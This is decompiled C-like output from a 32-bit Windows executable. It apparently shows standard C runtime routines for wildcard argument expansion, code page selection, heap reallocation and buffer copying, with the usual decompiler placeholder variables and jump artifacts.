void** fun_40719a(void** ecx, void** a2, void** a3) {

void** esp4;
void** ebp5;
uint32_t eax6;
uint32_t v7;
void** v8;
void** v9;
void** esi10;
void** esi11;
void** v12;
void** ebx13;
void*** esp14;
void** v15;
void** edi16;
void** edi17;
void** v18;
void** ecx19;
void** v20;
void** v21;
void** ebx22;
void** edx23;
void** ecx24;
void** v25;
void** eax26;
void** v27;
void** v28;
void** v29;
void** eax30;
void* esp31;
void** v32;
void** eax33;
void** v34;
void** v35;
void** v36;
void** v37;
void** v38;
void** v39;
void** v40;
void** v41;
void** v42;
void** v43;
void** eax44;
void** v45;
void** v46;
void** v47;
void** eax48;
void** esi49;
void* esp50;
void** eax51;
void** v52;
void** edx53;
void** ecx54;
void** v55;
void** eax56;
void** v57;
void** eax58;
uint32_t ecx59;
void** eax60;
void** v61;
void** ecx62;
void*** esp63;
void** v64;
void** ecx65;
void** v66;
void** v67;
void** ebx68;
void** eax69;
void* esp70;
void** eax71;
void** eax72;
void* ebp73;
uint32_t eax74;
uint32_t v75;
void** ecx76;
void** v77;
void** v78;
void** v79;
uint32_t eax80;
uint32_t esi81;
uint32_t eax82;
int32_t eax83;
uint32_t eax84;
void** ecx85;
uint32_t eax86;
void** v87;
void** v88;
void** v89;
void** v90;
void** v91;
void** v92;
void** v93;
void** v94;
void** v95;
void** v96;
void** v97;
void** v98;
void** v99;
void** v100;
void** v101;
void** v102;
void** v103;
void** v104;
void** v105;
void** v106;
void** v107;
void** v108;
void** v109;
void** v110;
void** v111;
void** v112;
void** v113;
void** v114;
void** v115;
void** v116;
void** v117;
void** v118;
void** v119;
int32_t eax120;
int32_t esi121;
int32_t eax122;
uint32_t eax123;
void** v124;
int16_t v125;
int16_t v126;
int16_t v127;
int16_t v128;
void** v129;
void** eax130;
void* v131;
int32_t eax132;
void** v133;
int32_t v134;
uint32_t ecx135;
void** v136;
void** v137;
int32_t v138;
int32_t v139;
void** edx140;
int32_t eax141;
void** eax142;
void** v143;
void** v144;
void** v145;
void** v146;
void** v147;
int32_t v148;
 int32_t v149;
int32_t v150;
int32_t v151;
int32_t v152;

esp4 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 4 - 4);

ebp5 = esp4;
eax6 = g416004;
v7 = eax6 ^ reinterpret_cast<unsigned char>(ebp5);
v8 = a3;
v9 = esi10;
esi11 = a2;
if (a3) {
v12 = ebx13;
esp14 = reinterpret_cast<void***>(reinterpret_cast<uint32_t>(esp4 - 48) - 4 - 4 - 4);
v15 = edi16;
*reinterpret_cast<void***>(a3) = reinterpret_cast<void**>(0);
edi17 = reinterpret_cast<void**>(0);
if (!*reinterpret_cast<void***>(esi11)) {
addr_406d49_4:
v18 = reinterpret_cast<void**>(0);
ecx19 = reinterpret_cast<void**>(0);
v20 = reinterpret_cast<void**>(0);
v21 = reinterpret_cast<void**>(1);
if (!1) {
ebx22 = reinterpret_cast<void**>(0);
edx23 = reinterpret_cast<void**>(0);
do {
ecx24 = *reinterpret_cast<void***>(edx23);
v25 = ecx24 + 2;
do {
ecx24 = ecx24 + 2;
} while (*reinterpret_cast<void***>(ecx24));
edx23 = edx23 + 4;
ecx19 =
reinterpret_cast<void**>(reinterpret_cast<int32_t>(reinterpret_cast<unsigned char>(ecx24) -
reinterpret_cast<unsigned char>(v25)) >> 1);
ebx22 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ebx22 + 1) +
reinterpret_cast<unsigned char>(ecx19));
eax26 = v20 + 1;
v20 = eax26;
} while (eax26);
v18 = ebx22;
}
 } else {
do {
*reinterpret_cast<int16_t*>(&v27) = 42;
*reinterpret_cast<int16_t*>(&v27 + 2) = 63;
v28 = ebp5 + 0xfffffff4;
v29 = *reinterpret_cast<void***>(esi11);
eax30 = fun_408265(v29, v28);
esp31 = reinterpret_cast<void*>(esp14 - 4 + 4 - 4 + 4 - 4 - 4 - 4 + 4 + 4 + 4);
if (eax30) {
v32 = *reinterpret_cast<void***>(esi11);
eax33 = fun_406f03(v32, eax30, ebp5 + 0xffffffd8);
esp14 = reinterpret_cast<void***>(reinterpret_cast<uint32_t>(esp31) - 4 - 4 - 4 - 4
+ 4 + 12);
} else {
v34 = *reinterpret_cast<void***>(esi11);
eax33 = fun_406e65(v28, v34, 0, 0, ebp5 + 0xffffffd8, v15, v12, v9, v35, v8, 0, 0, 0,
0, v36);
esp14 = reinterpret_cast<void***>(reinterpret_cast<uint32_t>(esp31) - 4 - 4 - 4 - 4 -
4 + 4 + 16);
}
if (eax33)
goto addr_406e3d_14;
esi11 = esi11 + 4;
} while (*reinterpret_cast<void***>(esi11));
goto addr_406d43_16;
}
} else {
eax44 = fun_4060e8(ecx, v9, v37, v8, v38, v39, v40, v41, v42, v43);
*reinterpret_cast<void***>(eax44) = reinterpret_cast<void**>(22);
fun_40602c(ecx, v9, v45, v8, v46);
goto addr_406e49_18;
}
eax48 = fun_404fdd(1, v18, 2, v15, v12, v9, v47, v8);
esi49 = eax48;
esp50 = reinterpret_cast<void*>(esp14 - 4 - 4 - 4 - 4 + 4 + 12);
if (esi49) {
eax51 = esi49 + 4;
v52 = eax51;
edx53 = eax51;
v21 = edx53;
if (1) {
addr_406e2d_21:
*reinterpret_cast<void***>(v8) = esi49;
eax48 = reinterpret_cast<void**>(0);
 } else {
v27 = reinterpret_cast<void**>(static_cast<uint32_t>(reinterpret_cast<unsigned
char>(esi49)));
do {
ecx54 = *reinterpret_cast<void***>(edi17);
v55 = ecx54 + 2;
do {
ecx54 = ecx54 + 2;
} while (*reinterpret_cast<void***>(ecx54));
eax56 =
reinterpret_cast<void**>((reinterpret_cast<int32_t>(reinterpret_cast<unsigned char>(ecx54) -
reinterpret_cast<unsigned char>(v55)) >> 1) + 1);
v57 = *reinterpret_cast<void***>(edi17);
v20 = eax56;
ecx19 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(edx53) - reinterpret_cast<unsigned char>(v52)) >> 1);
eax58 = fun_406bde(ecx19, edx53, reinterpret_cast<unsigned char>(v18) -
reinterpret_cast<unsigned char>(ecx19), v57, eax56, v15);
esp50 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp50) - 4 - 4 - 4 - 4 - 4 +
4 + 16);
if (eax58)
goto addr_406e58_26;
*reinterpret_cast<void***>(reinterpret_cast<unsigned char>(v27) +
reinterpret_cast<unsigned char>(edi17)) = v21;
edi17 = edi17 + 4;
edx53 = v21 + reinterpret_cast<unsigned char>(v20) * 2;
v21 = edx53;
} while (edi17);
goto addr_406e2d_21;
}
}
fun_406c46(ecx19, eax48, v15, v12, v9, v52, v8, 0, 0, 0, 0, v21, v18, v20, v27, 0);
addr_406e3d_14:
fun_4070b9(ebp5 + 0xffffffd8, v15, v12, v9, v52, v8, 0, 0, 0, 0, v21, v18);
addr_406e49_18:
ecx59 = v7 ^ reinterpret_cast<unsigned char>(ebp5);
eax60 = fun_402f62(ecx59, v52, v8, 0, 0, 0, 0, v21, ecx59, v52, v8, 0, 0, 0, 0, v21);
return eax60;
addr_406e58_26:
fun_40603c(ecx19, 0, 0, 0, 0, 0);
v61 = ebp5;
ecx62 = reinterpret_cast<void**>(0);
esp63 = reinterpret_cast<void***>(reinterpret_cast<uint32_t>(esp50) - 4 - 4 - 4 - 4 - 4 - 4 + 4 -
4 - 4 - 4 - 4);
 v64 = edi17;
do {
ecx62 = ecx62 + 2;
} while (*reinterpret_cast<void***>(ecx62));
ecx65 = reinterpret_cast<void**>((reinterpret_cast<int32_t>(ecx62 - 2) >> 1) + 1);
v66 = ecx65;
if (reinterpret_cast<unsigned char>(ecx65) <= reinterpret_cast<unsigned char>(0xffffffff)) {
v67 = esi49;
ebx68 = ecx65 + 1;
eax69 = fun_406be9(ecx65, ebx68, 2, v67, v64, 0, v66, v61);
esp70 = reinterpret_cast<void*>(esp63 - 4 - 4 - 4 - 4 + 4 + 4 + 4);
if (!1 && (eax71 = fun_406bde(2, eax69, ebx68, 0, 0, v67), esp70 =
reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp70) - 4 - 4 - 4 - 4 - 4 + 4 + 16), !!eax71) ||
(ebx68 = ebx68, eax72 = fun_406bde(2, eax69, ebx68, 0, v66, v67), esp70 =
reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp70) - 4 - 4 - 4 - 4 - 4 + 4 + 16), !!eax72)) {
fun_40603c(2, 0, 0, 0, 0, 0);
ebp73 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp70) - 4 - 4 - 4 - 4 - 4 - 4 +
4 - 4);
eax74 = g416004;
v75 = eax74 ^ reinterpret_cast<uint32_t>(ebp73);
ecx76 = reinterpret_cast<void**>(0);
v77 = ebx68;
v78 = eax69;
v79 = reinterpret_cast<void**>(47);
while (ecx76 && ((eax80 =
reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx76)),
*reinterpret_cast<int16_t*>(&eax80) != 47) && (*reinterpret_cast<int16_t*>(&eax80) != 92 &&
*reinterpret_cast<int16_t*>(&eax80) != 58))) {
ecx76 = ecx76 - 2;
}
esi81 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx76));
if (*reinterpret_cast<int16_t*>(&esi81) != 58)
goto addr_406f7b_39;
if (ecx76 != 2)
goto addr_406f68_41;
} else {
fun_4070de(0, eax69, v67, v64, 0, v66, v61, 0, 0, 0, 0, 0, v15, v12, v9, v52, v8, 0, 0, 0,
0, v21);
fun_406c46(0, 0, v67, v64, 0, v66, v61, 0, 0, 0, 0, 0, v15, v12, v9, v52);
goto addr_406ef0_43;
}
} else {
goto addr_406ef0_43;
}
 addr_406f7b_39:
eax82 = esi81;
if (*reinterpret_cast<int16_t*>(&eax82) == 47 || (*reinterpret_cast<int16_t*>(&eax82) == 92 ||
*reinterpret_cast<int16_t*>(&eax82) == 58)) {
eax83 = 1;
} else {
eax83 = 0;
}
eax84 = *reinterpret_cast<unsigned char*>(&eax83);
ecx85 = reinterpret_cast<void**>((reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(ecx76))) >> 1) + 1);
eax86 = -eax84;
v79 = reinterpret_cast<void**>(eax86 - (eax86 + reinterpret_cast<uint1_t>(eax86 < eax86 +
reinterpret_cast<uint1_t>(!!eax84))) & reinterpret_cast<unsigned char>(ecx85));
fun_403de0(ecx85, reinterpret_cast<uint32_t>(ebp73) + 0xfffffdac, 0, 0x250, 0, v78, v77, v87,
v79, 0, v88, v89, v90, v91, v92, v93, v94, v95, v96, v97, v98, v99, v100, v101, v102, v103,
v104, v105, v106, v107, v108, v109, v110, v111, v112, v113, v114, v115, v116, v117, v118);
v119 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp73) + 0xfffffdac);
eax120 = reinterpret_cast<int32_t>(FindFirstFileExW(0, 0, v119, 0, 0, 0));
esi121 = eax120;
if (esi121 != -1) {
eax122 = g4;
eax123 = eax122 - reinterpret_cast<unsigned char>(g0);
v124 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(eax123) >> 2);
do {
if (v125 != 46)
goto addr_40704e_50;
if (!v126)
continue;
if (v127 != 46)
goto addr_40704e_50;
if (!v128)
continue;
addr_40704e_50:
v129 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp73) + 0xfffffdd8);
eax130 = fun_406e65(0, v129, 0, v79, 0, 0, 0, v119, 0, 0, 0, 0, v78, v77, v124, 0, v129,
0, v79, 0, 0, 0, v119, 0, 0, 0, 0, v78, v77, v124);
if (eax130)
break;
v131 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ebp73) + 0xfffffdac);
eax132 = reinterpret_cast<int32_t>(FindNextFileW(esi121, v131, 0, 0, v119, 0, 0, 0));
} while (eax132);
goto addr_407084_55;
} else {
 fun_406e65(ecx85, 0, 0, 0, 0, 0, 0, v119, 0, 0, 0, 0, v78, v77, v133, ecx85, 0, 0, 0, 0, 0, 0,
v119, 0, 0, 0, 0, v78, v77, v134);
}
addr_406ff4_58:
if (esi121 != -1) {
FindClose(esi121, 0, 0, v119, 0, 0, 0);
}
addr_407002_61:
ecx135 = v75 ^ reinterpret_cast<uint32_t>(ebp73);
fun_402f62(ecx135, v124, v79, 0, 0, v136, 2, v137, ecx135, v124, v79, 0, 0, v138, 2, v139);
goto 0;
addr_407084_55:
edx140 = g0;
eax141 = g4;
eax142 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(eax141 -
reinterpret_cast<unsigned char>(edx140)) >> 2);
if (v124 != eax142) {
fun_4095c0(edx140 + reinterpret_cast<unsigned char>(v124) * 4,
reinterpret_cast<unsigned char>(eax142) - reinterpret_cast<unsigned char>(v124), 4,
fun_406c80, esi121, v131, 0, 0, v119, 0, 0, 0);
goto addr_406ff4_58;
}
addr_406f68_41:
fun_406e65(ecx76, 0, 0, 0, 0, 0, v78, v77, v143, 47, 0, v144, v145, v146, v147, ecx76, 0, 0, 0,
0, 0, v78, v77, v148, 47, 0, v149, v150, v151, v152);
goto addr_407002_61;
addr_406ef0_43:
goto 0;
addr_406d43_16:
edi17 = reinterpret_cast<void**>(0);
goto addr_406d49_4;
}

void fun_40925b(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void**
a8);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(0x80);

void** fun_405d20(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** v9;
void** v10;
void** ebp11;
 int32_t eax12;
void** esi13;
void** edi14;
void** eax15;
void** edx16;
void** esi17;
void** ecx18;
void** v19;
void** eax20;
void** eax21;
void** eax22;

v9 = reinterpret_cast<void**>(__return_address());
v10 = ebp11;
*reinterpret_cast<void***>(ecx + 12) = reinterpret_cast<void**>(0);
if (!a2) {
eax12 = g416dc4;
if (eax12) {
eax15 = fun_40695e(a2, esi13, edi14, v10, v9, a2, a3, a4, a5, a6, a7, a8);
edx16 = ecx + 4;
*reinterpret_cast<void***>(ecx) = eax15;
esi17 = ecx + 8;
*reinterpret_cast<void***>(edx16) = *reinterpret_cast<void***>(eax15 + 76);
ecx18 = *reinterpret_cast<void***>(eax15 + 72);
*reinterpret_cast<void***>(esi17) = ecx18;
fun_40922e(eax15, edx16, esi13, edi14, v10);
v19 = *reinterpret_cast<void***>(ecx);
fun_40925b(v19, esi17, eax15, edx16, esi13, edi14, v10, v9);
eax20 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx) + 0x350);
if (!(*reinterpret_cast<unsigned char*>(&eax20) & 2)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx) + 0x350) =
reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax20) | 2);
*reinterpret_cast<void***>(ecx + 12) = reinterpret_cast<void**>(1);
}
} else {
eax21 = image_base_;
*reinterpret_cast<void***>(ecx + 4) = eax21;
eax22 = image_base_;
goto addr_405d53_6;
}
} else {
*reinterpret_cast<void***>(ecx + 4) = *reinterpret_cast<void***>(a2);
eax22 = *reinterpret_cast<void***>(a2 + 4);
goto addr_405d53_6;
 }
addr_405d9c_8:
return ecx;
addr_405d53_6:
*reinterpret_cast<void***>(ecx + 8) = eax22;
goto addr_405d9c_8;
}

struct s82 {
signed char[8] pad8;
void** f8;
};

int32_t GetACP = 0x1547e;

int32_t GetOEMCP = 0x154be;

struct s83 {
signed char[848] pad848;
uint32_t f350;
};

void** fun_407312(void** a1) {

int32_t v2;
void** ecx3;
void** v4;
void** v5;
void** v6;
void** v7;
void** ebp8;
void** eax9;
struct s82* v10;
signed char v11;
struct s83* v12;

v2 = reinterpret_cast<int32_t>(__return_address());
ecx3 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 +
0xfffffff0);
fun_405d20(ecx3, 0, v4, v5, v6, v7, ebp8, *reinterpret_cast<void***>(&v2));
g416edc = reinterpret_cast<void**>(0);
eax9 = a1;
if (!reinterpret_cast<int1_t>(eax9 == 0xfffffffe)) {
if (!reinterpret_cast<int1_t>(eax9 == 0xfffffffd)) {
if (reinterpret_cast<int1_t>(eax9 == 0xfffffffc)) {
 g416edc = reinterpret_cast<void**>(1);
eax9 = v10->f8;
}
} else {
g416edc = reinterpret_cast<void**>(1);
eax9 = reinterpret_cast<void**>(GetACP(ecx3));
}
} else {
g416edc = reinterpret_cast<void**>(1);
eax9 = reinterpret_cast<void**>(GetOEMCP(ecx3));
}
if (v11) {
v12->f350 = v12->f350 & 0xfffffffd;
}
return eax9;
}

struct s84 {
signed char[8] pad8;
void*** f8;
};

struct s85 {
signed char[12] pad12;
void** fc;
};

void fun_407210(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28);

void fun_4071dc(void** ecx);

void fun_4071a5(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25) {
void** v26;
struct s84* ebp27;
int32_t ebp28;
void** ecx29;
struct s85* ebp30;
int32_t ebp31;
 fun_4038a0(ecx, 0x414a08, 8, __return_address());
v26 = *ebp27->f8;
fun_407a92(ecx, v26);
*reinterpret_cast<uint32_t*>(ebp28 - 4) = 0;
ecx29 = ebp30->fc;
fun_407210(ecx29, 0x414a08, 8, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11,
a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25);
*reinterpret_cast<int32_t*>(ebp31 - 4) = -2;
fun_4071dc(ecx29);
fun_4038f0(ecx29, 0x414a08, 8, __return_address(), a2);
goto 0x414a08;
}

void** g416ec8;

void** g416ecc;

void** g416ec4;

void** fun_407930(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void**
a32, void** a33, void** a34);

void fun_407210(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28) {
void** v29;
void** v30;
void** esi31;
void** eax32;
void** v33;
void** eax34;
void** v35;
void** eax36;

v29 = reinterpret_cast<void**>(__return_address());
g416ec8 =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_ca
st<void***>(ecx)) + 72) + 4);
 g416ecc =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_ca
st<void***>(ecx)) + 72) + 8);
g416ec4 =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_ca
st<void***>(ecx)) + 72) + 0x21c);
v30 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx)) +
72) + 12;
fun_407930(ecx, 0x416ed0, 12, v30, 12, esi31, v29, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11,
a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28);
eax32 = *reinterpret_cast<void***>(ecx);
v33 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(eax32) + 72) + 24;
fun_407930(0x101, 0x416150, 0x101, v33, 0x101, 0x416ed0, 12, v30, 12, esi31, v29, a2, a3,
a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23,
a24);
eax34 = *reinterpret_cast<void***>(ecx);
v35 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(eax34) + 72) + 0x119;
fun_407930(0x100, 0x416258, 0x100, v35, 0x100, 0x416150, 0x101, v33, 0x101, 0x416ed0,
12, v30, 12, esi31, v29, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17,
a18, a19, a20);
__asm__("lock xadd [eax], ecx");
if (!1 && (eax36 = image_base_, eax36 != 0x416358)) {
fun_406c46(0xffffffff, eax36, esi31, v29, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13);
}
image_base_ =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx)) + 72);

*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_ca
st<void***>(ecx)) + 72)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_ca
st<void***>(ecx)) + 72)) + 1;
return;
}

int32_t fun_4089df(int32_t a1, void* a2, void** a3);

int32_t fun_408a71(void** ecx) {

int32_t eax2;

eax2 = fun_4089df(3, reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 1, ecx);

return eax2;
}
void** fun_407930(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void**
a32, void** a33, void** a34) {
void** edi35;
void** esi36;
void** ebp37;
void** eax38;
void** eax39;
void** v40;
void** eax41;

if (a5) {
if (a2) {
if (!a4 || reinterpret_cast<unsigned char>(a3) < reinterpret_cast<unsigned char>(a5)) {
fun_403de0(ecx, a2, 0, a3, edi35, esi36, ebp37, __return_address(), a2, a3, a4, a5,
a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25,
a26, a27, a28, a29, a30, a31, a32, a33, a34);
if (a4) {
if (reinterpret_cast<unsigned char>(a3) >= reinterpret_cast<unsigned char>(a5)) {
eax38 = reinterpret_cast<void**>(22);
} else {
eax39 = fun_4060e8(ecx, edi35, esi36, ebp37, __return_address(), a2, a3, a4,
a5, a6);
v40 = reinterpret_cast<void**>(34);
goto addr_40799e_8;
}
} else {
eax39 = fun_4060e8(ecx, edi35, esi36, ebp37, __return_address(), a2, a3, a4, a5,
a6);
v40 = reinterpret_cast<void**>(22);
goto addr_40799e_8;
}
} else {
fun_4044a0(ecx, a2, a4, a5, edi35);
eax38 = reinterpret_cast<void**>(0);
}
} else {
eax41 = fun_4060e8(ecx, esi36, ebp37, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax41) = reinterpret_cast<void**>(22);
fun_40602c(ecx, esi36, ebp37, __return_address(), a2);
eax38 = reinterpret_cast<void**>(22);
goto addr_4079ae_12;
 }
} else {
eax38 = reinterpret_cast<void**>(0);
goto addr_4079ae_12;
}
addr_4079ad_14:
addr_4079ae_12:
return eax38;
addr_40799e_8:
*reinterpret_cast<void***>(eax39) = v40;
fun_40602c(ecx, edi35, esi36, ebp37, __return_address());
eax38 = v40;
goto addr_4079ad_14;
}

void** fun_4079ca(void** a1, void** a2) {

void** edx3;
void** ecx4;
void** esi5;

edx3 = a1;
if (*reinterpret_cast<void***>(edx3)) {
do {
ecx4 = edx3;
esi5 = ecx4 + 2;
do {
ecx4 = ecx4 + 2;
} while (*reinterpret_cast<void***>(ecx4));
edx3 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(edx3 +
(reinterpret_cast<int32_t>(reinterpret_cast<unsigned char>(ecx4) - reinterpret_cast<unsigned
char>(esi5)) >> 1) * 2) + 2);
} while (*reinterpret_cast<void***>(edx3));
}
return edx3 + 2;
}

void fun_404c4e(void** a1) {

g416b90 = a1;
return;
}

void fun_40922e(void** a1, void** a2, void** a3, void** a4, void** a5) {
int1_t zf6;
void** eax7;
 void** esi8;
void** ebp9;
void** eax10;

zf6 = *reinterpret_cast<void***>(a2) == g417244;

if (!zf6 && (eax7 = g4166a0, !(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1
+ 0x350)) & reinterpret_cast<unsigned char>(eax7)))) {
eax10 = fun_4086b1(a1, esi8, ebp9, __return_address(), a1, a2, a3, a4, a5);
*reinterpret_cast<void***>(a2) = eax10;
}
return;
}

void fun_40cb40(void** ecx) {

int32_t v2;
void* esp3;
void* ecx4;
int32_t* ecx5;
int32_t eax6;
int32_t eax7;
int32_t eax8;
uint32_t eax9;
int32_t eax10;
void* eax11;
int32_t* eax12;

v2 = reinterpret_cast<int32_t>(__return_address());
esp3 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
ecx4 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp3) + 4);
ecx5 = reinterpret_cast<int32_t*>(reinterpret_cast<uint32_t>(ecx4) - eax6 & ~(eax7 - (eax8 +
reinterpret_cast<uint1_t>(eax9 < eax10 +
reinterpret_cast<uint1_t>(reinterpret_cast<uint32_t>(ecx4) <
reinterpret_cast<uint32_t>(eax11))))));
eax12 = reinterpret_cast<int32_t*>(reinterpret_cast<uint32_t>(esp3) & 0xfffff000);
while (reinterpret_cast<uint32_t>(ecx5) < reinterpret_cast<uint32_t>(eax12)) {
eax12 = eax12 - 0x400;
}
*ecx5 = v2;
goto *ecx5;
}

void** fun_4085d7(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** v12;
 void** esi13;
void** eax14;
void** ebp15;

v12 = esi13;
if (a2 && (a2 != 0x40ff60 && (eax14 = *reinterpret_cast<void***>(a2 + 0xb0), !eax14))) {
fun_408133(ecx, a2, v12, ebp15, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9);
eax14 = fun_406c46(ecx, a2, a2, v12, ebp15, __return_address(), a2, a3, a4, a5, a6, a7,
a8, a9, a10, a11);
}
return eax14;
}

int32_t HeapReAlloc = 0x1556a;

void** fun_409c4a(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** v12;
void** v13;
void** ebp14;
void** v15;
void** edi16;
void** edi17;
void** v18;
void** esi19;
void** esi20;
void** v21;
void** eax22;
void** eax23;
void** eax24;
void** eax25;

v12 = reinterpret_cast<void**>(__return_address());
v13 = ebp14;
v15 = edi16;
edi17 = a2;
if (edi17) {
v18 = esi19;
esi20 = a3;
if (esi20) {
if (reinterpret_cast<unsigned char>(esi20) <= reinterpret_cast<unsigned
char>(0xffffffe0)) {
do {
v21 = g417250;
 eax22 = reinterpret_cast<void**>(HeapReAlloc(ecx, v21, 0, edi17, esi20));
if (eax22)
break;
eax23 = fun_4056fb(ecx, v21, 0, edi17, esi20);
} while (eax23 && (eax24 = fun_4088ef(ecx, esi20, v21, 0, edi17, esi20), ecx = esi20,
!!eax24));
goto addr_409c78_6;
} else {
addr_409c78_6:
eax25 = fun_4060e8(ecx, v18, v15, v13, v12, a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax25) = reinterpret_cast<void**>(12);
goto addr_409c83_7;
}
} else {
fun_406c46(ecx, edi17, v18, v15, v13, v12, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
goto addr_409c83_7;
}
} else {
eax22 = fun_408217(a3, v15, v13, v12, a2, a3, a4, a5, a6, a7, a8, a9, a10);
goto addr_409c86_10;
}
addr_409c85_12:
addr_409c86_10:
return eax22;
addr_409c83_7:
eax22 = reinterpret_cast<void**>(0);
goto addr_409c85_12;
}

int32_t g40ed78 = 12;

void** fun_408a49(void** a1, void** a2) {

void* ecx3;
void** eax4;
void** ecx5;
void** edx6;

ecx3 = reinterpret_cast<void*>(g40ed78 * 12);

eax4 = a2;
ecx5 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ecx3) + reinterpret_cast<unsigned
char>(eax4));
if (eax4 == ecx5) {
addr_408a6d_2:
eax4 = reinterpret_cast<void**>(0);
 } else {
edx6 = a1;
do {
if (*reinterpret_cast<void***>(eax4 + 4) == edx6)
break;
eax4 = eax4 + 12;
} while (eax4 != ecx5);
goto addr_408a6d_2;
}
return eax4;
}

void fun_408c8c() {
int32_t ebp1;

if (*reinterpret_cast<signed char*>(ebp1 - 29)) {

fun_407ada(3);
}
return;
}

void fun_40925b(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void**
a8) {
int1_t zf9;
void** eax10;
void** esi11;
void** ebp12;
void** eax13;

zf9 = *reinterpret_cast<void***>(a2) == image_base_;

if (!zf9 && (eax10 = g4166a0, !(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 0x350)) & reinterpret_cast<unsigned char>(eax10)))) {
eax13 = fun_40769d(a1, esi11, ebp12, __return_address(), a1, a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(a2) = eax13;
}
return;
}

uint32_t fun_409db6(void** ecx) {

uint32_t eax2;

eax2 = fun_409dbf(ecx, 1);

return eax2;
}
void fun_4093d6(int32_t a1) {
int32_t ebp2;

LeaveCriticalSection();
goto ebp2;
}

void fun_409e64(void** ecx) {

int32_t v2;
int32_t ebp3;

v2 = *reinterpret_cast<int32_t*>(ebp3 - 40);
fun_4093d6(v2);
return;
}

struct s86 {
signed char[848] pad848;
uint32_t f350;
};

uint32_t fun_409fb9(void** ecx, unsigned char a2, void** a3) {

int32_t v4;
void** v5;
void** v6;
void** v7;
void** v8;
void** ebp9;
uint32_t eax10;
